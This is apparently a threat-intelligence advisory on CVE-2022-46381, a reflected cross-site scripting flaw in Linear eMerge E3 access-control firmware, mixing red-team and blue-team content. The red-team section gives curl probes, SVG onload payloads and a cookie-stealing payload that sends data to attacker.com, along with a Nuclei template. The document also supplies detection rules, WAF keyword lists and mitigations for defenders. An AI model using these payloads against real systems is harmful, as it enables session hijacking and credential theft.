CVE-2022-46381

Executive Summary

CVE-2022-46381 is a stored/reflected Cross-Site Scripting (XSS) vulnerability affecting Linear eMerge E3-Series access control firmware versions 0.32-07e through 0.32-09c. The flaw resides in the badging/badge_template_v0.php component, where the type parameter is not properly sanitized before being rendered in the browser. An attacker can inject arbitrary JavaScript, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) and a high EPSS percentile (0.99183), indicating active exploitation potential. No official patch has been released by the vendor (Linear/Nice for You), and public proof-of-concept code is available.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects proprietary embedded firmware for physical access control systems. The supply chain risk is limited to the device firmware itself, which is not distributed via public registries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit crafted URL
• Scope: Changed (S:C) – vulnerable component impacts browser security context
• Confidentiality Impact: Low (C:L) – limited data exfiltration possible
• Integrity Impact: Low (I:L) – script injection can modify page content
• Availability Impact: None (A:N)
• EPSS Score: 0.81486 (≈81.5% probability of exploitation in 30 days)
• EPSS Percentile: 0.99183 (higher than 99.2% of all known vulnerabilities)

Threat Level: High – due to public exploit availability, low attack complexity, and high EPSS percentile.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the badging/badge_template_v0.php endpoint. The type parameter is echoed directly into the HTML response without sanitization or encoding. An attacker crafts a URL such as:

/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>

When a victim (typically an administrator or operator) visits this URL, the injected SVG element executes JavaScript in the context of the vulnerable domain. This allows the attacker to:

• Steal session cookies (if HttpOnly flag is not set)
• Perform actions on behalf of the victim (e.g., create new badges, modify access rules)
• Redirect to phishing pages
• Deface the web interface

The vulnerable firmware versions are all based on the same codebase, and the issue persists across multiple minor releases (07e, 07p, 08e, 08f, 09a, 09b, 09c). No patch has been released as of the latest analysis.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual PHP):

<?php
$type = $_GET['type'];
echo "<div class='badge-type'>$type</div>";
?>

Patched Code (conceptual PHP):

<?php
$type = htmlspecialchars($_GET['type'], ENT_QUOTES, 'UTF-8');
echo "<div class='badge-type'>$type</div>";
?>

The fix requires proper output encoding using htmlspecialchars() or equivalent, and input validation to restrict the type parameter to expected values (e.g., alphanumeric only). Since no official patch exists, users must implement these mitigations manually or isolate the device.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Linear eMerge E3-Series device with vulnerable firmware
• Network access to the web interface (typically port 80/443)
• Victim user must be logged into the interface

Exploit Steps:

1. Identify vulnerable endpoint:

   curl -s "http://target/badging/badge_template_v0.php?layout=1&type=test"
   

2. Inject XSS payload:

   curl -s "http://target/badging/badge_template_v0.php?layout=1&type=%22/%3E%3Csvg/onload=%22alert(document.domain)%22/%3E"
   

3. For session theft, use a payload that exfiltrates cookies:

   "/><svg/onload="fetch('http://attacker.com/steal?c='+document.cookie)"/>
   

4. Deliver the crafted URL to the victim via phishing email or social engineering.

Nuclei Template (provided):

id: CVE-2022-46381

info:
  name: Linear eMerge E3-Series - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46381
    - https://github.com/amitlttwo/CVE-2022-46381
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46381
    cwe-id: CWE-79
    epss-score: 0.81486
    epss-percentile: 0.99183
    cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niceforyou
    product: linear_emerge_e3_access_control_firmware
    shodan-query:
      - http.html:"Linear eMerge"
      - http.html:"linear emerge"
    fofa-query: body="linear emerge"
  tags: cve,cve2022,xss,emerge,linear,niceforyou,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<svg/onload="alert(document.domain)"/>'
          - 'Badging Template'
        condition: and

      - type: status
        status:
          - 200

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /badging/badge_template_v0.php with suspicious type parameters containing <, >, ", or onload.
• Use WAF rules to block XSS patterns in the type parameter.
• Deploy the Sigma rule below to detect exploitation attempts.

Honeypot:

• Set up a decoy Linear eMerge interface and log all requests to the vulnerable endpoint.

Mitigation:

• If patching is not possible, restrict access to the web interface via firewall rules (allow only trusted IPs).
• Disable the badging/badge_template_v0.php endpoint if not required.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /badging/badge_template_v0.php with type parameter containing HTML/JavaScript payloads.
• Outbound connections from the device to attacker-controlled servers (e.g., for cookie exfiltration).

File IOCs:

• Modified badge_template_v0.php file (if attacker gains write access).
• Suspicious entries in web server access logs.

Behavioral IOCs:

• Unexpected JavaScript execution in the browser of users accessing the device.
• Unauthorized badge creation or modification.

Detection Engineering

YARA Rule

rule CVE_2022_46381_XSS_Linear_eMerge {
    meta:
        description = "Detects XSS payloads targeting CVE-2022-46381 in Linear eMerge E3-Series"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-46381"
    strings:
        $payload1 = "/><svg/onload=" ascii wide
        $payload2 = "badge_template_v0.php" ascii wide
        $payload3 = "type=" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2022-46381 XSS Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit XSS in Linear eMerge E3-Series
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/badging/badge_template_v0.php'
            - 'type='
        cs-uri-query|re: '.*<.*onload.*>.*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in type parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-46381 Linear eMerge XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/badging/badge_template_v0.php"; http_uri; content:"type="; http_uri; pcre:"/<[^>]*onload[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices – Place them behind a firewall with strict access controls (allow only management IPs).
2. Disable the vulnerable endpoint – If not required, remove or rename badging/badge_template_v0.php.
3. Implement WAF rules – Block requests containing <script, <svg, onload, onerror in the type parameter.
4. Apply CSP headers – Add Content-Security-Policy: script-src 'self'; to prevent inline script execution.

Long-term Fix:

• Contact Linear/Nice for You for an official firmware update.
• If no patch is available, consider replacing the device with a supported alternative.
• Conduct a security audit of all exposed web interfaces on the device.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Monitor for anomalous outbound connections from the device.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: FECCFA75B13C90A0FC695FCB] */}